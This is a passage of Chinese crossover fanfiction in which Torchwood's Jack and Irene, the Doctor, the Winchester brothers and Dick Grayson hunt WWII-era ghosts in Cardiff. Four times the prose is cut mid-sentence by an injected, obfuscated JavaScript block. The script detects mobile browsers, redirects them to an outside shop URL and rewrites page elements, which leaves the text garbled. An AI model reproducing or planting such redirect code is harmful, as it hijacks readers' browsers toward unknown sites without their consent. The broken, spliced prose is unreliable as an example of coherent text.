然后,他做出了一个一点都不符合重逢气氛的举动:他只用了无名指和小指,就飞快地解开了腕表的搭扣。伊琳只觉得手腕上一轻,等从杰克怀里钻出来时,他已经在戴腕表了。 “嘿!”伊琳抗议说。 “这叫物归原主。”杰克拍了拍腕表,又从口袋里拿出了一条挂链,套在了伊琳的脖子上,“这也叫物归原主。” 随着手指轻点,一道几不可查的柔光从吊坠处展开,覆盖了伊琳全身。纳米薄膜本不该让使用者感觉到任何重量或包裹感,可伊琳依旧觉得有些不自在。 “你会告诉我为什么吗?”她问。 杰克依然在笑着,他的眼尾有着若隐若现的笑纹。伊琳能看得出他眼中与笑容不符的沉重,但也因此难以分辨这种情绪是否因为她的疑问而生——这抹沉重总是在那儿,像是杰克的轻佻和笑容后面甩不脱的影子。 他的回答只是:“现代人去到原始社会就是一个巨大号的病毒,谁知道不同宇宙会不会更糟。” “而且,”他压低了声音,凑在伊琳耳边说,“你不觉得这保护措施很方便吗?轻薄无痕。” 伊琳翻了一个巨大的白眼:“我就知道你不会认真告诉我。” 博士在一旁气喘吁吁地拉着塔迪斯的引擎盖:“杰克,来帮忙!” “等等,你这是干什么?”伊琳问。 “不明显吗?给塔迪斯充能。你不会以为穿过时空壁是一件很简单的事吧,要是没来得及到时空裂缝我们就得一直在漩涡里飘着了。” 还没等博士说完,伊琳已经急切地推开了塔迪斯的门,外面的景象亲切而熟悉:她知道广场上那几个喷泉口的开启时间,知道行人手里拿着的三明治来自不远处威尔士人开的小店,知道再往深处走就是火炬木的隐形入口。 迪恩从她身旁探出头,听着风中传来断断续续的路人的交谈,皱起了眉:“有哪座城市有那么多威尔士移民吗?” “不,”伊琳睁大了眼睛,“除非这本身就是威尔士的城市。” “欢迎来到卡迪夫。” ** 塔迪斯留在原地充能,一行人在广场上转了一圈,杰克假装没看出温彻斯特兄弟的不情愿,强烈建议他们尝一尝英国的著名美食——炸鱼薯条。 切破了面衣后,柔软的鳕鱼肉被叉子一碰就散落下来,伊琳一边努力叉着鱼肉往酱汁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13201867|136106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里蘸,一边对迪克的欺瞒耿耿于怀:“你早就知道宇宙融合的事了!你竟然没告诉我!” “我没有‘早就知道’,布鲁斯只是暗示了一下,提姆又对你的事问得多了些。”迪克心虚地垂下眼,假装在和盘子里滚来滚去的一颗豌豆作搏斗,“所以,我只是猜测。” 虽然英国美食匮乏的名声远扬,但迪恩发现自己不讨厌一切裹着面衣的油炸食品,腮帮子鼓鼓地加入讨论,看热闹不嫌事大地煽动着:“你的男朋友骗了你,这种不忠的行为应该得到教训。” 伊琳看着迪克弯起了眼睛,赞同地点了点头,虚心请教道:“比如呢?” 比如分手。迪恩把这话咽了下去,思绪拐了个弯,用手肘撞了撞杰克:“呃,你是伊琳的爸爸?” 杰克低头看了眼两人相碰的手肘,意味深长地勾起嘴角——迪恩猛地把手缩了回去——杰克露出一个大笑,眼睛弯成和伊琳相似的弧度:“我看起来比我的实际年龄年轻得多,是吗?” “我可没这么说。”迪恩摊开手,冲着迪克的方向抬了抬下巴,坏笑说,“你女儿的男朋友不怎么坦荡,你怎么看?” “说到教训——”杰克拉长了声音,话中的笑意更浓了,“我能想到那么一两件。”句子的尾音上扬,哪怕是与他相识不久的人,也能因为他的神情语气而浮想联翩,深切地怀疑起他口中“教训”的内涵。 萨姆发出了一连串剧烈的咳嗽声,手忙脚乱地放下手里的杯子,用餐巾纸擦拭着自己的衣服。 “不过,”杰克话音一转,“我不会和我女儿讨论这个。”他眨了眨右眼:“有人想知道的话,可以私下找我聊。” “谢天谢地。”博士高声说,“以防你不知道,我必须得提前告诉你,我没兴趣加入这场讨论。” 杰克耸了耸肩:“可惜,我可能会给你买杯酒。” 伊琳趴在迪克的肩头笑。迪克看她像是想说什么的样子,偏了偏头:“嗯?” “我知道。”她小声说,手随意搭在迪克身上,手指轻轻扫过他的皮肤,“爸爸想聊的那件事,我知道。” 她轻笑:“如果有机会的话——” 她的声音轻了下去,又和迪克拉开了距离,迪克并没有听见后面的话,但这反而使得他脑内的思绪更加收不住了。 推开店门的那一刻,迪克才意识到自己的脸上之前有多热。 卡迪夫的街头出乎意料地热闹,除了散步的游人以外,还有许许多多举着自拍杆甚至带着一人高手机支架的团队,看起来应该是社交媒体上的博主。 “网红城市?”迪克问。 伊琳摇了摇头:“我走的时候还不这样。” 虽然离万圣节还远,街上却零零散散有几个画着鬼怪妆容的人,惨白的粉底配上青黑色的眼圈,刻意做旧的衣服上覆盖着尘土。 几人正巧遇上一个设备齐全的团队,被巨大的打光灯晃了眼。 杰克停住了脚步,冲刚拍完一条的‘女鬼’搭话:“不错的衣服。这是在拍什么?我等不及想看了。” ‘女鬼’撩起前面的头发,看清杰克的时候笑容真挚了许多:“我们是油管上的创作者,你搜‘探索诡异’就能找到我们的频道。我们专门来拍卡迪夫的幽灵。” 46.爸爸来了的第二天 “你们不知道吗?”她很热情地解释说,“这是网上很火的一段视频,一个博主在这附近直播的时候镜头里突然出现了幽灵,还有不少人也上传了自己在卡迪夫遇到幽灵的视频。” 可能是哪个网红搞出来的噱头,也有可能是别的。 如果要迪恩和萨姆猜的话,他们会首先怀疑这里是不是有什么复仇的幽灵。 杰克和博士会开始思考有没有类似形态的外星生物。 至于迪克,他要考虑的可能性有点多,超能力、科技、甚至是魔法侧,都有机会造成这种现象。 而在宇宙融合后,一切皆有可能。尤其是考虑到在场所有人都有超高的遇到麻烦的几率。 “我们是不是应该调查一下?”迪克谨慎地说。 “这里是卡迪夫,我的地盘。”伊琳拍了拍迪克的肩,“不过我很大度,不会像蝙蝠一样计较你越界到我的城市,侦探。” 当伊琳带着他们走到离小蓝盒子停靠点不远的广场时,迪恩忍不住发问:“你不是说要去你们的什么秘密基地吗?” 此时天已经完全黑了下来,情侣坐在打着地灯的台阶上接吻,街头艺人演奏着大提琴,一行人不得不挤过围观的人群才能继续前行。 伊琳突然停住了脚步,冲着迪恩笑了一下。 然后脚下的地开始下落。 迪恩正好踩在边缘的位子,猝不及防地踉跄了一下,身体向前倾斜。正当他以为自己要落进底下的深渊时,他胡乱抓着的手碰到了前方一堵透明的墙,将下降地平台牢牢护在里面。 隔着透明的墙往外看,不到一米处就有拉着手的情侣走过,却没有对这几个不断下降的人投来一个眼神。 “这是三十二世纪的发明,它可以过滤感知,”杰克说,“外面的人不会注意到这儿。” “这太神奇了。”萨姆小心翼翼地伸手触碰面前无形的墙,冰冷坚硬,但哪怕他知道了位置之后仔细去瞧,也看不出一点有东西存在的迹象。 迪恩原本也无声地惊叹了一下,但看见萨姆的样子,他还是压住了脸上的惊羡,吐槽说:“你见过天使和恶魔,一块看不见的玻璃就让你觉得神奇了?” “超自然生物是一回事,但是这是科技!”萨姆拔高了声音,“这是人类经过学习之后能够做到的事,难道不神奇吗?” 迪恩翻了个白眼:“那你可以努力活到三十二世纪去学这个,书呆子。” 萨姆用手肘打了一下迪恩的腰,迪恩往旁边一闪,头撞上了那堵无形的墙,痛呼一声:“我讨厌这个东西。” 这个火炬木基地的装修风格非常奇特,它有着老旧的科技感,像是上世纪科幻片的布景,到处充满了不知用处的电线、管道和金属制品。但它里面同时还穿插着令人熟悉的二十一世纪产品,巨大的超薄液晶屏、游戏手柄,旁边还有一袋开口的家庭装薯片。 杰克走过去把薯片拿起来扔进垃圾桶:“下次吃完薯片记得扔。” 伊琳已经在人体工学椅上坐下了,顺手拆了一包巧克力,掰了一半扔给迪克,看着他的脸被甜得皱了起来,得意地笑了。 “What the f*ck!”迪恩不知什么时候溜进了基地内部昏暗的通道,他的惊呼夹杂着野兽咆哮声传了出来。 “迪恩,”萨姆紧张起来,“发生什么了?” “这是什么鬼东西?”迪恩的声音变了调,但听上去并没有遇到危险,只是有些匪夷所思,“你们都关了些什么东西?” “那是珍妮!”杰克喊道,“打个招呼吧,她可是位女士。” “我很想问你是怎么看出来的,但我也许并不想知道。”迪恩干巴巴的说,不顾杰克“这是纯粹的严谨外星生物学”的抗议,下一句话又变成了高八度,“怎么还有一个!” “那是......”杰克忽然想到了什么,把话咽了回去,而伊琳已经欢快地回答道:“这是一只雄性weevil,我们叫他法师。” “什么鬼?”一直挑剔打量着火炬木设备的博士站直了身子,“杰克!” 杰克假装什么都没听到地围着桌子转了一圈,通过离博士最远的路线绕到了自己的办公室:“我去联系警方,看看他们有什么线索。” 在卡迪夫,警察系统里的所有人都知道火炬木是一个神秘又高高在上的机构,时不时就会有让人匪夷所思的案件被火炬木接过去,之后就再没有消息。 因此,当他们接到火炬木询问幽灵事件的消息时,显得既紧张又困惑:“呃,先生,我们并没有什么线索。确切来说,我们根本没有这样一件案子。这只是网上流传的一个都市异闻,但没有人报案,也没有受害者。” 那就只能自己找线索。 在杰克联系警方的过程中,其余几人已经找到了最早走红的卡迪夫幽灵直播视频。 那是一个旅行博主,粉丝不多,拍摄设备的画质也一般,多数时候画面里只是路边的建筑搭配上博主从网上提前搜来的讲解词。事情发生的时候,镜头已经对着二战时期遗留下来的一个建筑很久了,博主磕磕绊绊地讲着这个百货大楼是如何在轰炸中被炸掉了一半、剩下的一半却屹立不倒的,以及之后又在什么时候进行了重建修复。 随着镜头一震疯狂的抖动,画面天旋地转,博主惊慌地喊着“上帝”。沉寂的弹幕多了一排排问号,等一张苍白里带着血污的脸从镜头里一闪而过后,问号很快就变成了惊叹号。 拍摄设备在慌乱中落在了地上,镜头正好捕捉到一双赤裸的脚,上面覆盖着灰尘与狰狞的伤痕。这双腿迈出了一步后,在画面中闪了闪,突然间消失得无影无踪。 过了一会儿,镜头终于开始上升,露出博主没有血色的脸:“天呐,你们绝对想不到我经历了什么。” 在极度的惊慌下,博主断断续续又气喘吁吁地叙述并没有给出太多的信息,只是反复地提及这个浑身血污的幽灵女子是怎么突然出现在离他不到一米的距离内,又是怎么朝着他伸出手,像是要向他索命。 “很冷,她出现的时候突然变得很冷。”他心有余悸地打了个哆嗦,“现在好些了。” 迪恩和萨姆对视了一眼,点头说:“有冷点,确实是鬼魂出现的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13222489|136106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迹象。” 虽然评论区充斥着质疑声,但也不乏卡迪夫人发声为博主作证,说自己也看到过类似的情况,有人影突然出现在街边,又突然消失了,甚至还有人发布了自己拍摄的视频——画质比前一个更糟,视频只有几秒钟,只能看见远处有个人在不停地绕圈徘徊。 “好吧抓鬼兄弟,我们下一步要怎么做?”博士用手拍了下额头,“我简直不敢相信,我有一天会和人认真地讨论鬼魂的事。鬼魂!” “简单。”迪恩站了起来,虽然眉头微微皱着,但还是能从语气里听出他的意气风发,“找到尸体,撒上盐,一把火,立竿见影,保证鬼再也回不来。” “等等,”博士眯起了眼睛,想起了那些从时空裂缝中误入却直接被杀害的外星生物,“你要直接杀了她?她没有伤害到任何人,你就要直接杀了她?” “呃,从技术上讲,所有的鬼魂都已经死了。”萨姆说,“他们不属于这个世界,停留得久了,就会失去所有理智和人性,只剩下攻击活人的本能。” “所以我们就在那之前解决掉她,没有人会受伤,欢乐大结局。”迪恩已经拎起了椅背上的皮衣,迫不及待就要出门。 “天才们,你们是不是忘了一件事?”伊琳双手抱在胸前,“我们还不知道这个鬼魂是谁,更不知道尸体在哪里。” “简单,”迪恩“哈”了一声,得意道,“鬼魂只会出现在和他有联系的地方,翻找一下那里过去意外死亡的案例,很快就能有收获。” “我怕没那么简单。”伊琳将屏幕转了过去,上面写着大大的“未找到吻合条件的对象”,“火炬木有所有官方数据库的权限,这个鬼魂的面容特征和数据库里所有人都不吻合。” “所以,我们得去现场找找线索。”迪克直起身,将腰弯成令人看着觉得骨头都要断了的幅度伸了个懒腰,“夜巡吗?” 迪克喜欢晚上,在夜色的掩护下从高空中掠过,不断翻转、跳跃,不用在别人的目光中隐藏自己的秘密,为自己的缺席找出无数种解释。 ……但他并不喜欢这样的晚上,也不喜欢这种夜巡。 从高空上走的方案被全票否决了——虽然火炬木甚至有人造翅膀!甚至连伊琳都没站在他这边:“我可不想遇到鬼魂的时候翅膀出现故障,从空中摔下来。” 所以他们只能一路跟随着人群,走向博主遇到鬼魂的那个街道。 没错,那里已经成为了网红打卡景点,猎魔剧中常出现的鬼魂探测器成了人手一份的周边,时不时还有人向手拿着EMF的迪恩投来看同好般的眼神。 迪恩深吸了一口气,加快脚步:“这就是为什么我喜欢小镇多过大城市。” “往好里想,这里是卡迪夫,我们就算弄出再大动静来火炬木都可以遮掩过去。”伊琳说,“无非是多消除几个人记忆的事。” 迪恩刚想开口,此起彼伏的尖锐的电子音把他给吓了一条,周围人手上的机器都在疯狂地发出警报,仿佛有一个军队的鬼魂袭来。 他低头一看,手里的EMF静悄悄的,与周围格格不入。 47.爸爸来了的第三天 被十多个尖叫着的鬼魂探测器包围着,但自己手中的却一片沉寂,这实在有些令人毛骨悚然,迪恩不禁怀疑起自己是否已经被某种未知的厉鬼给盯上,而厉鬼的磁场已经超出了EMF的负荷。 “发生了什么?”伊琳好奇地将头探向旁边人手里的仪器,毫不顾忌地将问题挑明了,“你们的为什么都在响?” 路人看了眼她,又看了眼她身旁迪恩手上一点反应都没有的仪器,一脸同情道:“你们是不是买到残次品了?” 伊琳还没反应过来,就听见旁边有人气急败坏地辩解道:“我这儿卖出去的都是好的!没有残次品!他们一定是买了假货!” 只见他身边放着一台收音机般的机器,脚边还有一个大袋子,正好有个顾客过来,伊琳眼睁睁地看着他从袋子里掏出了一个眼熟的仪器。开关在他手中被打开后,这个新仪器也加入了这场喧闹的合鸣里。 大概是受不了长时间的噪音,玩了个新鲜的游人们陆陆续续把手里的仪器给关上了,伊琳觉得耳膜好受了不少,也能听见不远处主播故作惊慌的声音:“看呐,EMF响个不停,这里真的有鬼魂!” 迪克笑了声,趁着摊主不注意,上前关了那个神似收音机的机器,空气中一下子安静了下来。迪恩手上的正版EMF依旧毫无动静。 在摊主发火前,迪克将开关复位,飞快地溜走,留下了一句“抱歉”。 “所以,不是那边电磁干扰的原因。”迪克低头看向一直死寂着的EMF,“或许这里真的没有鬼魂。” 伊琳捂了捂耳朵,从迪恩手里拿过EMF,对着四面八方转了一圈,依旧没有变化:“这是说明附近没有鬼魂了吗?那我们换个排查方向?外星人?” 迪恩皱起了眉头:“也许吧,但我还是觉得冷点和闪烁很像......” 话语间呼出的气在他眼前变成了白色的水汽。 “我好像知道你说的冷点是什么意思了,”伊琳低下头,看着EMF顶上几个指示灯全都亮起了红光,“看起来这东西没坏。” 前方响起了一阵惊叫声,很难说他们是恐惧还是兴奋更多一些,位置偏后的游人还一边随大流地惊呼、一边不断往前凑。 “后退!”杰克拍了下伊琳的肩膀,示意她不要走动,自己往前跑去,军大衣的后摆扬了起来,“都后退!火炬木办案!” 迪恩和萨姆对视一眼,循着杰克开出的道路挤了过去。 那必定是一个鬼魂,皮肤苍白、头发散乱,额头上有一块巨大的伤口,长排扣的连衣裙上血迹斑斑,胳膊上有着一条长长的割痕。她在几米外的人行道上来回转着圈,脚步踉跄,神情茫然。 她看上去并没有什么攻击性。 见状,路人们的惧意全然被兴奋好奇给取代了,纷纷掏出手机拍摄,全靠杰克张开双臂拦在人前,他们才没有继续向鬼魂靠近。 因此,当鬼魂停住绕圈的脚步,似乎被嘈杂的人群吸引了注意力,向他们投来目光时,背对着鬼魂的杰克并没有注意到这一点,更不知鬼魂开始向着他走来。 “小心!”萨姆喊了一声,而迪恩已经掏出了岩盐枪。但还没等他开枪,鬼魂闪烁了几下,消失在原地。 正当几人防备着鬼魂突然出现来个“贴脸杀”时,伊琳举着EMF走上前来:“信号又消失了。” 博士摇了摇手里的音速起子:“查过了,仪器没有坏,鬼魂的电磁信号的确突然凭空消失了。” “这说不通。哪怕鬼魂不再现形在人前,这也是她寄身的地方,不可能一点电磁信号都没有。”萨姆说。 “先不去管这个,我们还是按老思路走——”迪恩将岩盐枪重新放回背袋中,“找到尸体,撒上盐,烧掉,再特殊的鬼魂也不能存活。” “你们看清鬼魂的脸了吗?”迪克说,“我可以做个人脸拼图,我们再用网上的数据匹配一轮看看。” “恐怕没有这个必要。”杰克的神情是少见的严肃,他看向街边的建筑,像是陷入了回忆,“那个鬼魂身上的衣服是上世纪中期流行的款式,更确切地说,是二战时期。” “如果我没猜错的话,她是在德国轰炸时遇害的。” 二战中,卡迪夫遭遇的空袭自然没有伦敦那么糟糕,但哪怕只是一颗炸弹,对正巧处于那个范围的平民而言也是灭顶之灾。 杰克在这种情况下死过一次,复活的时候他还是处于废墟里,要不是他及时爬了出来躲过建筑的塌陷,说不定还是再死上一次。所以他清楚,那会儿对死难者的遗体处理可算不得高效有序。 毕竟,在战争白热化的时候,所有的机构都停止了日常的工作,集体转入应战模式,甚至连直属女王管辖的火炬木都开始将注意力转移向地球内的敌人。 调查的结果也如他所料,官方文档中提到百货大楼被轰炸事件中,有好几名遇难者的尸体没有被找到,他们也很难判断这究竟代表着遇难者在轰炸中尸骨无存,还是单纯因为搜寻工作做得草草了事。 伊琳趴在桌上,打了个哈欠,双眼因为看资料熬得通红:“这栋建筑是在遗址的基础上修复的,如果当时尸体真的没被挖出来,遗骸可能在这栋建筑的任何一个地方。” “而且,那是一场爆炸。”迪克扭头看向温彻斯特兄弟,“如果尸体在爆炸中变得支离破碎,一小块骨头被炸飞埋进土里,即使我们找到了绝大部分的尸体,会不会......” 温彻斯特兄弟脸上的神情告诉迪克,哪怕只是一小块骨头没被烧掉,鬼魂也会继续徘徊在世间。 这下迪克不得不思索起自己认识的英雄里,有没有谁的能力是能在这种情况下派上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13266485|136106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用场的。或者问问魔法侧有没有其他消除鬼魂的方法? “虽然我并不是鬼魂事件的专家,”博士终于从火炬木的外星道具存放间回来,放弃了对藏品的挑剔,“但我还是觉得,我们调查的方向不该只盯着这一个鬼魂。” 他拿起咖啡壶给自己倒了一杯,在半凉的咖啡入口时嫌弃地皱起了眉头:“杰克,你该换种咖啡豆了。” 杰克挑起眉毛,夺过咖啡壶:“这里是英国,我喝茶。” “哦,我从来不知道你是喝茶的人。”博士挖苦说,“你确定你不是被我点破咖啡豆的劣质而自惭形秽了吗?” “我作证,”伊琳举起手,“爸爸平时不喝茶。” 迪恩难以忍受地大声呼了一口气,萨姆尴尬地四周看看,虽然这样的对话发生了许多次,但他还是不太适应这几个人在讨论正事时扯开话题的能力——虽然如果他们聊起的那些关于星球毁灭的冒险是真的,这件事对他们来说的确算不上是急迫的危机。 “好吧,”萨姆刻意地清了清嗓子,吸引吵嘴的几人的注意,“你介意多分享些想法吗,博士?” “如我所说,我不是鬼魂的专家,但既然你们的世界秩序一切正常,我想鬼魂这种东西总不至于三天两头地冒出来。” “撕拉”一声,所有人的目光朝着伊琳看去,她将开了封的薯片往迪克手里一塞,目光诚挚地说:“我在认真听,继续吧。” “下次换个味道。”博士抓了片酸奶油口味的薯片吃,然后继续说道,“现在网上号称目睹了鬼魂的可不是一个两个,发了视频的也不少,总不至于都是假的。这些人所说的目击地点也各不相同,如果鬼魂不能自由跑来跑去的话,在卡迪夫里存在着的应该不止一个鬼魂。” “而他们之间必定有共性,总有什么原因才使他们在同一时间出现在卡迪夫。”迪克若有所思,迅速地敲击起键盘,借用火炬木的程序筛选出卡迪夫市民关于这件事的发言。 很快,一个个红点在卡迪夫地图上被标识出来,代表着鬼魂被目击的地点。 一开始红点很零散,似乎四面八方哪儿都有。但随着越来越多的发言被收集过来,几人都能逐渐看出地图上红点分布的明显规律——许多红点集中在卡迪夫南部的一处地方,旁边是水域,越往北红点分布越零碎。 “看上去这里有问题,”迪恩指着红点中心问,“这是哪里?我们是不是得赶紧到这里调查?” “这是卡迪夫湾,”伊琳说,“你出门就是。” 迪恩被噎了一下:“所以,就是这里有什么东西影响了鬼魂?” “不是火炬木的东西,这点博士早就确认过了。”杰克和博士对视了一下,“也许是时空裂缝的能量?” “或者是有什么外星生物从裂缝里进来,在附近安了家。” 48.爸爸来了的第四天 通过时空能量的异常波动来寻找鬼魂事件的源头无异于大海捞针,伊琳打着哈欠看了一个半小时,也只粗粗浏览了近两个月的记录。 “这能量异常可真频繁。”连脑力远高于人类的博士都不得不败下阵来,“你确定不招点新人?” 伊琳闻言朝着杰克看去,爸爸如她意料之中地笑得漫不经心:“找菜鸟来能干什么,还得我帮忙收拾烂摊子。” 这不是真的。 菜鸟也会在时间里成长起来,偶尔想到的主意也能得到杰克在他肩膀上赞许的一拍;哪怕在进火炬木几年后,菜鸟对杰克依旧敬畏非常,但还是会在杰克连续给伊琳点外卖披萨后抗议不健康的饮食习惯。 卢埃林·摩根绝不是火炬木里第一个非正常死亡的探员,但他毫无预兆的人间蒸发哪怕在火炬木看来也并不寻常。 那件事之后,杰克带着她走进了火炬木的停尸间,他扶着停尸柜的格子,目光专注:“我想过,或早或晚,我都会亲手把卢埃林装进其中一个柜子里,就像我过去很多次做过的一样。” 他笑得很苦涩:“我同意他加入的第一天就做好了这样的心理准备,只是我想,如果那一天的到来足够晚,或许也还好。反正......每个人总会有死亡的那天。我是说,正常的人类。” 但卢埃林什么都没有留下,而杰克也不会去妄想他只是在火炬木待腻自行离开了,多年的经历早就让他不会去做童话般的美梦。 “现在,”他弯下身子,下巴抵着伊琳的发心拥抱着她,“就只剩下我们了。” “还好还有你,小蜡烛。” ** 谢天谢地,迪克编写的程序的搜索结果将伊琳从大海捞针的阅读中拯救了出来——有人在另一条视频下发表了评论,说里面的幽灵似乎像是他奶奶。 伊琳终于可以美美地睡上一觉,第二天精神抖擞地登门询问线索。 “我们真的不用换套衣服吗?”迪恩扯了扯自己身上的夹克,“你知道的,西装什么的?” “谁在乎呢?”杰克毫不在意地笑笑,依旧穿着他万年不变的二战军大衣,头也不回地地喊住了伊琳,“伊琳,戴上围巾!” 有一种冷叫爸爸觉得你冷。 伊琳悻悻地用毛茸茸的围巾裹住了脖子。 和她一同落在所有人后面的迪克趁人不注意把手探到她的脖子上,伊琳被冻得一个激灵,报复性地蹦到他的背上,将两只手都放到他的脖子里。 问个线索原本用不着这么兴师动众的,但火炬木的两位作为东道主不可能不走一趟,博士也从来不是待在后头等消息的性格,温彻斯特兄弟作为对鬼魂知识最为渊博的专家也要承担起追问线索的重任。反正已经那么多人了,伊琳索性把迪克也一起拐了过去。 因此,虽然一行人集体推举看起来最无害的伊琳站在前面按门铃,应门的年轻男子还是因为看到了那么多人而眼神剧震。伊琳眼疾手快地假装无意撑住了门,阻止男子退回去,从口袋里掏出证件:“我们来自火炬木,想问问你在网上留言中说的事。” 火炬木作为卡迪夫都市异闻中的一部分,也算得上是声名赫赫,年轻男子闻言更加忐忑了,但还是让在一旁,让他们进了门。 “你们一定是为了卡迪夫的幽灵的事来的吧。”年轻男子在众人的目光下紧张地搓着杯子,“其实我也不是很确定,你们知道的,毕竟那个视频的画质并不清晰,而且还是晚上。” 他咽了一口口水:“我也只是猜测,但视频里幽灵身上的那条裙子很像我奶奶失踪前穿的。” 他站起身,从抽屉里翻出一个装满了老物件的盒子,将一张年轻女子的照片递给他们:“这就是我奶奶。我从来没有见过她,她失踪的时候我父亲也还是个孩子。听我父亲说,那天她出门的时候就是穿着照片上这条裙子。” 这话说得很保守,伊琳也看过几遍那个视频,要她来说,上面幽灵的头发颜色和身型都与照片上的女子相吻合。 “你说你奶奶是失踪?”她确认道。 “我父亲是这么说的。那天她只是出门买菜,然后再也没有回来。他们报了警,但警方没有找到一点线索。” “幽灵现身的街道和你奶奶当时的住处相近吗?”迪克突然问道。 年轻男子愣了一下,然后点头:“没错,我小时候还住在那个老屋子里,那个街道离家不到一公里,我们每次去采购东西都会经过那儿。” 已知,卡迪夫在几乎同一时间出现了数个幽灵,其中能排查到身份的两个幽灵死亡时间相差了至少十多年,前者死于爆炸,后者虽然不知死因,但那年那个街区倒也没有飞来横弹。 “还有一个共同点,两个人的尸体都下落不明。”博士在火炬木基地里焦躁地踱来踱去,伊琳仿佛能看到他脑子里CPU的飞速转动,“有什么外星种族是会利用尸体制造出幽灵的吗?不,总感觉有什么点是我遗漏了的。” “我有一个想法,”迪克在笔记本上写写画画许久,终于抬起头加入了讨论,“我不知道你们有没有意识到,我们一直尝试在用一个逻辑解释这个问题。” “一开始,我们认为这是纯粹的鬼魂事件,就像你们解决过的那些一样。”他转头看向温彻斯特兄弟,并得到他们的点头确认。 “然后,”他调出了布满红点的卡迪夫地图,“因为事件分布在时空裂缝附近,我们转而认为这是外星生物所导致的。” “但有没有可能,这其实是两件事。”迪克越说越快,眼睛发亮,在笔记本上画了一条纵线,将两组线索分开,“人们目击的幻影有EMF反应,有冷点,应该的确是迪恩和萨姆所知的鬼魂,是宇宙融合之后的产物。鬼魂的产生并不一定有外星人的参与。” “鬼魂的出现只需要一个最简单的条件——他们死了。”博士睁大了眼睛,激动地抓住迪克的肩膀摇了摇,“你说得对!你是个天才!” “等等,如果我们绕了一大圈又回到了最初的鬼魂论,那这张地图的红点分布怎么解释?”迪恩迷惑地皱起了眉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13272549|136106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头。 “还有,为什么会有那么多鬼魂?”萨姆拿笔抵着下巴,“难道只是因为你们原来的世界从未出现过鬼魂?所以他们一口气都冒出来了?” “你们说过,鬼魂的出现是因为他们滞留人间,没有到该去的地方。”更多的点连接在一起,伊琳能看到推论渐渐成型,“如果,这不是因为他们不想,而是不能呢?” “他们被困住了。”杰克——出于丰富的被绑架囚禁经验——点出了最为关键的一个假说,“就像那张红点图标注的一样,这就是外星种族参与进来的地方。虽然不知道目的,但某种外星生物或许导致或者利用了这些人的死亡,并很有可能隐藏了他们的尸体,甚至使得灵魂无法去往该去的地方。” “这就是为什么鬼魂消失后,EMF全然失去了反应。他们被隔绝在我们这个空间之外了。”伊琳说,“博士,有什么外星种族是擅长制造独立空间的吗?” “我能想到几种。”博士皱起眉头,转动着手里音速起子的上端,蓝光伴随着机械音闪烁着,“这里有什么侦测时空能量的道具吗?” 杰克刚开始撩袖子,博士打断道:“不是那个时间机构的玩具,更精密、更灵敏些的。” “Yep,等我一分钟。”一分钟后,他的声音从走廊的另一头遥遥传来,“呃,有没有人来搭把手?” 这台机器的笨拙程度在迪克见过的所有设备里面数一数二,通体漆黑,比他还高上几十厘米,两人合抱都不能完整地将机器围起来。它的两侧平整光滑,没有可以抓握的地方,难以施力,机器刚刚离地就开始往下滑。 迪克只好用膝盖顶着借力,心里默念自己都能担负起一个城市的重量,还不至于搬不动一个仪器。 手中的重量突然间增大了一倍,仪器沉沉地坠了下去,迪克咬牙切齿地将它稳住了。 “不好意思,失手了。”杰克看上去一点都没觉得不好意思,往后退了两步,摊开空空如也的手掌,笑容灿烂明媚,“还得是年轻人,一个人也能搬得动。” ……女朋友家长的下马威终究还是来了。 设备终于稳稳地落在了幽灵出没的街道上。迪克甩了甩酸痛的手臂,好奇地看着杰克神情郑重地调试着面前巨大的仪器,外接的显示器被伊琳拿在手里,不断划过起伏的波纹。 他见过那只腕表的精妙,因此分外不能理解为什么眼前的设备笨拙得像是上世纪的产物。 “因为它就是。”伊琳说,“腕表不是为了精密的观察而生的,它来自时间机构,主要目的是让特工们穿梭时空去谋取一些东西。这台仪器不一样。” 她认真看着屏幕上逐渐稳定下来的信号:“人类和那些正纵横在宇宙里的种族相比,还有数百年甚至千年的科技术要攀爬,但还是有人想办法制造出了精准度不输于外星科技的时间能量观测装置。因为我们的家园就在时间裂缝上,我们必须要及时应对外来的危机。” 